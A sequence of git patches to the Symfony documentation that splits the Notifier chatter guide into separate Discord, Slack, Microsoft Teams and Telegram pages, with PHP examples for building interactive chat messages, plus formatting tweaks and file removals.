-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = (new ChatMessage('Contribute To Symfony'))->transport('microsoftteams');
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/microsoft_teams/message.png
-   :align: center
-
-Adding Interactions to a Microsoft Teams Message
-------------------------------------------------
-
-With a Microsoft Teams Message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\MicrosoftTeams\\MicrosoftTeamsOptions` class
-to add `MessageCard options`_::
-
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\ActionCard;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\HttpPostAction;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\DateInput;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\TextInput;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsOptions;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Field\Fact;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Section;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Action elements
-    $input = new TextInput();
-    $input->id('input_title');
-    $input->isMultiline(true)->maxLength(5)->title('In a few words, why would you like to participate?');
-
-    $inputDate = new DateInput();
-    $inputDate->title('Proposed date')->id('input_date');
-
-    // Create Microsoft Teams MessageCard
-    $microsoftTeamsOptions = (new MicrosoftTeamsOptions())
-        ->title('Symfony Online Meeting')
-        ->text('Symfony Online Meeting are the events where the best developers meet to share experiences...')
-        ->summary('Summary')
-        ->themeColor('#F4D35E')
-        ->section((new Section())
-            ->title('Talk about Symfony 5.3 - would you like to join? Please give a shout!')
-            ->fact((new Fact())
-                ->name('Presenter')
-                ->value('Fabien Potencier')
-            )
-            ->fact((new Fact())
-                ->name('Speaker')
-                ->value('Patricia Smith')
-            )
-            ->fact((new Fact())
-                ->name('Duration')
-                ->value('90 min')
-            )
-            ->fact((new Fact())
-                ->name('Date')
-                ->value('TBA')
-            )
-        )
-        ->action((new ActionCard())
-            ->name('ActionCard')
-            ->input($input)
-            ->input($inputDate)
-            ->action((new HttpPostAction())
-                ->name('Add comment')
-                ->target('http://target')
-            )
-        )
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($microsoftTeamsOptions);
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/microsoft_teams/message-card.png
-   :align: center
-
-.. versionadded:: 5.4
-
-    Options for Microsoft Teams were introduced in Symfony 5.4.
-
-.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
-.. _`Embed elements`: https://discord.com/developers/docs/resources/webhook
-.. _`message options`: https://core.telegram.org/bots/api
-.. _`MessageCard options`: https://docs.microsoft.com/en-us/outlook/actionable-messages/message-card-reference
diff --git a/notifier/discord.rst b/notifier/discord.rst
new file mode 100644
index 00000000000..a754b69bd74
--- /dev/null
+++ b/notifier/discord.rst
@@ -0,0 +1,58 @@
+.. index::
+    single: Notifier; Chatters
+
+Discord Notifier
+================
+
+Adding Interactions to a Message
+--------------------------------
+
+With a Discord message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` class
+to add some interactive options called `Embed elements`_::
+
+    use Symfony\Component\Notifier\Bridge\Discord\DiscordOptions;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordEmbed;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFieldEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFooterEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordMediaEmbedObject;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('');
+
+    // Create Discord Embed
+    $discordOptions = (new DiscordOptions())
+        ->username('connor bot')
+        ->addEmbed((new DiscordEmbed())
+            ->color(2021216)
+            ->title('New song added!')
+            ->thumbnail((new DiscordMediaEmbedObject())
+            ->url('https://i.scdn.co/image/ab67616d0000b2735eb27502aa5cb1b4c9db426b'))
+            ->addField((new DiscordFieldEmbedObject())
+                ->name('Track')
+                ->value('[Common Ground](https://open.spotify.com/track/36TYfGWUhIRlVjM8TxGUK6)')
+                ->inline(true)
+            )
+            ->addField((new DiscordFieldEmbedObject())
+                ->name('Artist')
+                ->value('Alasdair Fraser')
+                ->inline(true)
+            )
+            ->addField((new DiscordFieldEmbedObject())
+                ->name('Album')
+                ->value('Dawn Dance')
+                ->inline(true)
+            )
+            ->footer((new DiscordFooterEmbedObject())
+                ->text('Added ...')
+                ->iconUrl('https://upload.wikimedia.org/wikipedia/commons/thumb/1/19/Spotify_logo_without_text.svg/200px-Spotify_logo_without_text.svg.png')
+            )
+        )
+    ;
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($discordOptions);
+
+    $chatter->send($chatMessage);
+
+.. _`Embed elements`: https://discord.com/developers/docs/resources/webhook
diff --git a/notifier/events.rst b/notifier/events.rst
deleted file mode 100644
index 05a602a3bab..00000000000
--- a/notifier/events.rst
+++ /dev/null
@@ -1,79 +0,0 @@
-.. index::
-    single: Notifier; Events
-
-Using Events
-============
-
-.. versionadded:: 5.4
-
-    The ``MessageEvent``, ``FailedMessageEvent`` and ``SentMessageEvent`` were
-    introduced in Symfony 5.4.
-
-The :class:`Symfony\\Component\\Notifier\\Transport`` class of the Notifier component
-allows you to optionally hook into the lifecycle via events.
-
-The ``MessageEvent::class`` Event
----------------------------------
-
-**Typical Purposes**: Doing something before the message is send (like logging
-which message is going to be send, or displaying something about the event
-to be executed.
-
-Just before send the message, the event class ``MessageEvent`` is
-dispatched. Listeners receive a
-:class:`Symfony\\Component\\Notifier\\Event\\MessageEvent` event::
-
-    use Symfony\Component\Notifier\Event\MessageEvent;
-
-    $dispatcher->addListener(MessageEvent::class, function (MessageEvent $event) {
-        // gets the message instance
-        $message = $event->getMessage();
-
-        // log something
-        $this->logger(sprintf('Message with subject: %s will be send to %s, $message->getSubject(), $message->getRecipientId()'));
-    });
-
-The ``FailedMessageEvent`` Event
---------------------------------
-
-**Typical Purposes**: Doing something before the exception is thrown (Retry to send the message or log additional information).
-
-Whenever an exception is thrown while sending the message, the event class ``FailedMessageEvent`` is
-dispatched. A listener can do anything useful before the exception is thrown.
-
-Listeners receive a
-:class:`Symfony\\Component\\Notifier\\Event\\FailedMessageEvent` event::
-
-    use Symfony\Component\Notifier\Event\FailedMessageEvent;
-
-    $dispatcher->addListener(FailedMessageEvent::class, function (FailedMessageEvent $event) {
-        // gets the message instance
-        $message = $event->getMessage();
-
-        // gets the error instance
-        $error = $event->getError();
-
-        // log something
-        $this->logger(sprintf('The message with subject: %s has not been sent successfully. The error is: %s, $message->getSubject(), $error->getMessage()'));
-    });
-
-
-The ``SentMessageEvent`` Event
-------------------------------
-
-**Typical Purposes**: To perform some action when the message is successfully sent (like retrieve the id returned
-when the message is sent).
-
-After the message has been successfully sent, the event class ``SentMessageEvent`` is
-dispatched. Listeners receive a
-:class:`Symfony\\Component\\Notifier\\Event\\SentMessageEvent` event::
-
-    use Symfony\Component\Notifier\Event\SentMessageEvent;
-
-    $dispatcher->addListener(SentMessageEvent::class, function (SentMessageEvent $event) {
-        // gets the message instance
-        $message = $event->getOriginalMessage();
-
-        // log something
-        $this->logger(sprintf('The message has been successfully sent and have id: %s, $message->getMessageId()'));
-    });
diff --git a/notifier/slack.rst b/notifier/slack.rst
new file mode 100644
index 00000000000..fddeb3a4080
--- /dev/null
+++ b/notifier/slack.rst
@@ -0,0 +1,206 @@
+.. index::
+    single: Notifier; Chatters
+
+Slack Notifier
+==============
+
+Adding Interactions to a Message
+--------------------------------
+
+With a Slack message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` class
+to add some interactive options called `Block elements`_::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlockElement;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Contribute To Symfony');
+
+    // Create Slack Actions Block and add some buttons
+    $contributeToSymfonyBlocks = (new SlackActionsBlock())
+        ->button(
+            'Improve Documentation',
+            'https://symfony.com/doc/current/contributing/documentation/standards.html',
+            'primary'
+        )
+        ->button(
+            'Report bugs',
+            'https://symfony.com/doc/current/contributing/code/bugs.html',
+            'danger'
+        );
+
+    $slackOptions = (new SlackOptions())
+        ->block((new SlackSectionBlock())
+            ->text('The Symfony Community')
+            ->accessory(
+                new SlackImageBlockElement(
+                    'https://symfony.com/favicons/apple-touch-icon.png',
+                    'Symfony'
+                )
+            )
+        )
+        ->block(new SlackDividerBlock())
+        ->block($contributeToSymfonyBlocks);
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($slackOptions);
+
+    $chatter->send($chatMessage);
+
+Adding Fields and Values to a Message
+-------------------------------------
+
+To add fields and values to your message you can use the
+:method:`SlackSectionBlock::field() <Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackSectionBlock::field>` method::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/field-method.png
+   :align: center
+
+.. versionadded:: 5.1
+
+    The `field()` method was introduced in Symfony 5.1.
+
+Adding a Header to a Message
+----------------------------
+
+To add a header to your message use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackHeaderBlock` class::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackHeaderBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackHeaderBlock('My Header')))
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/slack-header.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The ``SlackHeaderBlock`` class was introduced in Symfony 5.3.
+
+Adding a Footer to a Message
+----------------------------
+
+To add a footer to your message use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackContextBlock` class::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackContextBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $contextBlock = (new SlackContextBlock())
+        ->text('My Context')
+        ->image('https://symfony.com/logos/symfony_white_03.png', 'Symfony Logo')
+    ;
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        )
+        ->block($contextBlock)
+    ;
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/slack-footer.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The ``SlackContextBlock`` class was introduced in Symfony 5.3.
+
+Sending a Message as a Reply
+----------------------------
+
+To send your slack message as a reply in a thread use the
+:method:`SlackOptions::threadTs() <Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions::threadTs>` method::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My reply'))
+        ->threadTs('1621592155.003100')
+    ;
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/message-reply.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The ``threadTs()`` method was introduced in Symfony 5.3.
+
+.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
diff --git a/notifier/teams.rst b/notifier/teams.rst
new file mode 100644
index 00000000000..c2756d6baba
--- /dev/null
+++ b/notifier/teams.rst
@@ -0,0 +1,99 @@
+.. index::
+    single: Notifier; Chatters
+
+Microsoft Teams Notifier
+========================
+
+Adding text to a Message
+------------------------
+
+With a Microsoft Teams, you can use the ChatMessage class::
+
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = (new ChatMessage('Contribute To Symfony'))->transport('microsoftteams');
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/microsoft_teams/message.png
+   :align: center
+
+Adding Interactions to a Message
+--------------------------------
+
+With a Microsoft Teams Message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\MicrosoftTeams\\MicrosoftTeamsOptions` class
+to add `MessageCard options`_::
+
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\ActionCard;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\HttpPostAction;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\DateInput;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\TextInput;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsOptions;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Field\Fact;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Section;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('');
+
+    // Action elements
+    $input = new TextInput();
+    $input->id('input_title');
+    $input->isMultiline(true)->maxLength(5)->title('In a few words, why would you like to participate?');
+
+    $inputDate = new DateInput();
+    $inputDate->title('Proposed date')->id('input_date');
+
+    // Create Microsoft Teams MessageCard
+    $microsoftTeamsOptions = (new MicrosoftTeamsOptions())
+        ->title('Symfony Online Meeting')
+        ->text('Symfony Online Meeting are the events where the best developers meet to share experiences...')
+        ->summary('Summary')
+        ->themeColor('#F4D35E')
+        ->section((new Section())
+            ->title('Talk about Symfony 5.3 - would you like to join? Please give a shout!')
+            ->fact((new Fact())
+                ->name('Presenter')
+                ->value('Fabien Potencier')
+            )
+            ->fact((new Fact())
+                ->name('Speaker')
+                ->value('Patricia Smith')
+            )
+            ->fact((new Fact())
+                ->name('Duration')
+                ->value('90 min')
+            )
+            ->fact((new Fact())
+                ->name('Date')
+                ->value('TBA')
+            )
+        )
+        ->action((new ActionCard())
+            ->name('ActionCard')
+            ->input($input)
+            ->input($inputDate)
+            ->action((new HttpPostAction())
+                ->name('Add comment')
+                ->target('http://target')
+            )
+        )
+    ;
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($microsoftTeamsOptions);
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/microsoft_teams/message-card.png
+   :align: center
+
+.. versionadded:: 5.4
+
+    Options for Microsoft Teams were introduced in Symfony 5.4.
+
+.. _`MessageCard options`: https://docs.microsoft.com/en-us/outlook/actionable-messages/message-card-reference
diff --git a/notifier/telegram.rst b/notifier/telegram.rst
new file mode 100644
index 00000000000..a76f8a9063f
--- /dev/null
+++ b/notifier/telegram.rst
@@ -0,0 +1,39 @@
+.. index::
+    single: Notifier; Chatters
+
+Telegram Notifier
+=================
+
+Adding Interactions to a Message
+--------------------------------
+
+With a Telegram message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` class
+to add `message options`_::
+
+    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\Button\InlineKeyboardButton;
+    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\InlineKeyboardMarkup;
+    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('');
+
+    // Create Telegram options
+    $telegramOptions = (new TelegramOptions())
+        ->chatId('@symfonynotifierdev')
+        ->parseMode('MarkdownV2')
+        ->disableWebPagePreview(true)
+        ->disableNotification(true)
+        ->replyMarkup((new InlineKeyboardMarkup())
+            ->inlineKeyboard([
+                (new InlineKeyboardButton('Visit symfony.com'))
+                    ->url('https://symfony.com/'),
+            ])
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($telegramOptions);
+
+    $chatter->send($chatMessage);
+
+.. _`message options`: https://core.telegram.org/bots/api
diff --git a/notifier/texters.rst b/notifier/texters.rst
deleted file mode 100644
index 4cf9b6f2de2..00000000000
--- a/notifier/texters.rst
+++ /dev/null
@@ -1,52 +0,0 @@
-.. index::
-    single: Notifier; Texters
-
-How to send SMS Messages
-========================
-
-.. versionadded:: 5.0
-
-    The Notifier component was introduced in Symfony 5.0.
-
-The :class:`Symfony\\Component\\Notifier\\TexterInterface` class allows
-you to send SMS messages::
-
-    // src/Controller/SecurityController.php
-    namespace App\Controller;
-
-    use Symfony\Component\Notifier\Message\SmsMessage;
-    use Symfony\Component\Notifier\TexterInterface;
-    use Symfony\Component\Routing\Annotation\Route;
-
-    class SecurityController
-    {
-        /**
-         * @Route("/login/success")
-         */
-        public function loginSuccess(TexterInterface $texter)
-        {
-            $sms = new SmsMessage(
-                // the phone number to send the SMS message to
-                '+1411111111',
-                // the message
-                'A new login was detected!'
-            );
-
-            $sentMessage = $texter->send($sms);
-
-            // ...
-        }
-    }
-
-The ``send()`` method returns a variable of type
-:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
-information such as the message ID and the original message contents.
-
-.. versionadded:: 5.2
-
-    The ``SentMessage`` class was introduced in Symfony 5.2.
-
-.. seealso::
-
-    Read :ref:`the main Notifier guide <notifier-texter-dsn>` to see how
-    to configure the different transports.

From a671edfd703e7234c5a07eb56fba50977e0a3430 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 Jan 2023 12:53:42 +0100
Subject: [PATCH 2814/5766] Minor tweaks

---
 notifier.rst          | 16 +++++++++-------
 notifier/discord.rst  |  4 ++++
 notifier/slack.rst    |  4 ++++
 notifier/teams.rst    |  4 ++++
 notifier/telegram.rst |  4 ++++
 5 files changed, 25 insertions(+), 7 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 0590c5ae4b6..f94598f6d04 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -863,10 +863,12 @@ dispatched. Listeners receive a
 The ``FailedMessageEvent`` Event
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-**Typical Purposes**: Doing something before the exception is thrown (Retry to send the message or log additional information).
+**Typical Purposes**: Doing something before the exception is thrown
+(Retry to send the message or log additional information).
 
-Whenever an exception is thrown while sending the message, the event class ``FailedMessageEvent`` is
-dispatched. A listener can do anything useful before the exception is thrown.
+Whenever an exception is thrown while sending the message, the event class
+``FailedMessageEvent`` is dispatched. A listener can do anything useful before
+the exception is thrown.
 
 Listeners receive a
 :class:`Symfony\\Component\\Notifier\\Event\\FailedMessageEvent` event::
@@ -887,11 +889,11 @@ Listeners receive a
 The ``SentMessageEvent`` Event
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-**Typical Purposes**: To perform some action when the message is successfully sent (like retrieve the id returned
-when the message is sent).
+**Typical Purposes**: To perform some action when the message is successfully
+sent (like retrieve the id returned when the message is sent).
 
-After the message has been successfully sent, the event class ``SentMessageEvent`` is
-dispatched. Listeners receive a
+After the message has been successfully sent, the event class ``SentMessageEvent``
+is dispatched. Listeners receive a
 :class:`Symfony\\Component\\Notifier\\Event\\SentMessageEvent` event::
 
     use Symfony\Component\Notifier\Event\SentMessageEvent;
diff --git a/notifier/discord.rst b/notifier/discord.rst
index a754b69bd74..d7315b73f3d 100644
--- a/notifier/discord.rst
+++ b/notifier/discord.rst
@@ -4,6 +4,10 @@
 Discord Notifier
 ================
 
+The Discord Notifier package allows to use Discord via the Symfony Notifier
+component. Read the :doc:`main Notifier docs </notifier>` to learn about installing
+and configuring that component.
+
 Adding Interactions to a Message
 --------------------------------
 
diff --git a/notifier/slack.rst b/notifier/slack.rst
index fddeb3a4080..8904ed6ad34 100644
--- a/notifier/slack.rst
+++ b/notifier/slack.rst
@@ -4,6 +4,10 @@
 Slack Notifier
 ==============
 
+The Slack Notifier package allows to use Slack via the Symfony Notifier
+component. Read the :doc:`main Notifier docs </notifier>` to learn about installing
+and configuring that component.
+
 Adding Interactions to a Message
 --------------------------------
 
diff --git a/notifier/teams.rst b/notifier/teams.rst
index c2756d6baba..b638bfdcc16 100644
--- a/notifier/teams.rst
+++ b/notifier/teams.rst
@@ -4,6 +4,10 @@
 Microsoft Teams Notifier
 ========================
 
+The Microsoft Teams Notifier package allows to use Microsoft Teams via the Symfony
+Notifier component. Read the :doc:`main Notifier docs </notifier>` to learn about
+installing and configuring that component.
+
 Adding text to a Message
 ------------------------
 
diff --git a/notifier/telegram.rst b/notifier/telegram.rst
index a76f8a9063f..0ce6854b7f2 100644
--- a/notifier/telegram.rst
+++ b/notifier/telegram.rst
@@ -4,6 +4,10 @@
 Telegram Notifier
 =================
 
+The Telegram Notifier package allows to use Telegram via the Symfony Notifier
+component. Read the :doc:`main Notifier docs </notifier>` to learn about installing
+and configuring that component.
+
 Adding Interactions to a Message
 --------------------------------
 

From 79464746492929bbc16920ef704cdff445800ff8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 Jan 2023 15:28:28 +0100
Subject: [PATCH 2815/5766] [Notifier] Remove an unused file

---
 notifier/chatters.rst | 449 ------------------------------------------
 1 file changed, 449 deletions(-)
 delete mode 100644 notifier/chatters.rst

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
deleted file mode 100644
index c275c4683e6..00000000000
--- a/notifier/chatters.rst
+++ /dev/null
@@ -1,449 +0,0 @@
-.. index::
-    single: Notifier; Chatters
-
-How to send Chat Messages
-=========================
-
-The :class:`Symfony\\Component\\Notifier\\ChatterInterface` class allows
-you to send messages to chat services like Slack or Telegram::
-
-    // src/Controller/CheckoutController.php
-    namespace App\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\Notifier\ChatterInterface;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-    use Symfony\Component\Routing\Annotation\Route;
-
-    class CheckoutController extends AbstractController
-    {
-        #[Route('/checkout/thankyou')]
-        public function thankyou(ChatterInterface $chatter)
-        {
-            $message = (new ChatMessage('You got a new invoice for 15 EUR.'))
-                // if not set explicitly, the message is sent to the
-                // default transport (the first one configured)
-                ->transport('slack');
-
-            $sentMessage = $chatter->send($message);
-
-            // ...
-        }
-    }
-
-The ``send()`` method returns a variable of type
-:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
-information such as the message ID and the original message contents.
-
-.. seealso::
-
-    Read :ref:`the main Notifier guide <notifier-chatter-dsn>` to see how
-    to configure the different transports.
-
-Adding Interactions to a Slack Message
---------------------------------------
-
-With a Slack message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` class
-to add some interactive options called `Block elements`_::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlockElement;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Contribute To Symfony');
-
-    // Create Slack Actions Block and add some buttons
-    $contributeToSymfonyBlocks = (new SlackActionsBlock())
-        ->button(
-            'Improve Documentation',
-            'https://symfony.com/doc/current/contributing/documentation/standards.html',
-            'primary'
-        )
-        ->button(
-            'Report bugs',
-            'https://symfony.com/doc/current/contributing/code/bugs.html',
-            'danger'
-        );
-
-    $slackOptions = (new SlackOptions())
-        ->block((new SlackSectionBlock())
-            ->text('The Symfony Community')
-            ->accessory(
-                new SlackImageBlockElement(
-                    'https://symfony.com/favicons/apple-touch-icon.png',
-                    'Symfony'
-                )
-            )
-        )
-        ->block(new SlackDividerBlock())
-        ->block($contributeToSymfonyBlocks);
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($slackOptions);
-
-    $chatter->send($chatMessage);
-
-Adding Fields and Values to a Slack Message
--------------------------------------------
-
-To add fields and values to your message you can use the
-:method:`SlackSectionBlock::field() <Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackSectionBlock::field>` method::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
-                ->field('*Min Rating*')
-                ->field('1.0')
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/field-method.png
-   :align: center
-
-Adding a Header to a Slack Message
-----------------------------------
-
-To add a header to your message use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackHeaderBlock` class::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackHeaderBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackHeaderBlock('My Header')))
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
-                ->field('*Min Rating*')
-                ->field('1.0')
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/slack-header.png
-   :align: center
-
-Adding a Footer to a Slack Message
-----------------------------------
-
-To add a footer to your message use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackContextBlock` class::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackContextBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $contextBlock = (new SlackContextBlock())
-        ->text('My Context')
-        ->image('https://symfony.com/logos/symfony_white_03.png', 'Symfony Logo')
-    ;
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
-                ->field('*Min Rating*')
-                ->field('1.0')
-        )
-        ->block($contextBlock)
-    ;
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/slack-footer.png
-   :align: center
-
-Sending a Slack Message as a Reply
-----------------------------------
-
-To send your slack message as a reply in a thread use the
